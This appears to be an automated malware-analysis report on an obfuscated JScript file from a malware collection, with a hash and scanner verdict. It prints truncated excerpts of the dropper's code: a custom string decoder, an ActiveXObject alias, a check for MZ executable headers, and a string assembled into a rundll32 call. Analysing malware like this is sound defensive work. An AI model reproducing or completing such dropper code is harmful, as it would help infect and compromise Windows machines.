Suspicious ^66% javascript-malware-collection Download

20161220_2387e3832bf24f6d959d322811fadd5b.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256f99ffd9ce2664a4537d5dc0ee3e3857e8bb566809bad834277df86bbbc8b8b6a

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikoaklandFROG2XCOP = 0;	
9     var SupchikoaklandRazlomSS, SupchikoaklandFROG2ddDccC2, SupchikoaklandFROG2c3, SupchikoaklandFROG2c4;
10
11     var SupchikoaklandFROG2out = "";
12
13	 var SupchikoaklandFROG2Supchikoaklandka= this.replace(/FROSTICK/gi, SupchikoaklandFROG2out);
14 var  SupchikoaklandFROG2len = SupchikoaklandFROG2sud(Su …

charCodeAt() method call lines 18–20

	 var Supchikoaklandkoch = SupchikoaklandFROG2Supchikoaklandka.charCodeAt(SupchikoaklandFROG2XCOP++) &(0x132- 0x33);
          SupchikoaklandRazlomSS = levitron[Supchikoaklandkoch];
      } while (SupchikoaklandFROG2XCOP < Supchikoaklan …

Builds characters with String.fromCharCode lines 27–30

39…  +1== 0)
          break;
      SupchikoaklandFROG2out += String['fromCharCode']((SupchikoaklandRazlomSS << 2) | ((SupchikoaklandFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikoaklandFROG2c3 = Supchikoa …

ActiveXObject via local alias lines 185–188

185:16… landFROG2d2=SupchikoaklandFROG2DoUtra.pop();
186SupchikoaklandFROG2fabled="Valar2Morgulis";
187 var SupchikoaklandFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikoaklandFROG2d2.split("45");SupchikoaklandFROG2Native.SupchikoaklandFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikoaklandFROG2$type(a)===b})};
 …

Checks array for PE magic bytes lines 257–264

72… dTalabaev);	
if(SupchikoaklandTalabaevLaa < 29989)return false;
if (SupchikoaklandTalabaev[0]!= 77 || SupchikoaklandTalabaev[1]!= 90)return false;		
SupchikoaklandFROG2CHICKA = SupchikoaklandFROG2CHICKA  + SupchikoaklandFROG2SIDRENKOV;
REBEKK2(SupchikoaklandFROG2CHICKA, SupchikoaklandTalabaev );
262
var SupchikoaklandFROG2ddsSSddSd = ",happy";
264SupchikoaklandFROG2ddsSSddSd = (SupchikoaklandFROG2StrokaParam2,"undl") + (SupchikoaklandFROG2StrokaParam2,"l32 ") + Supchiko …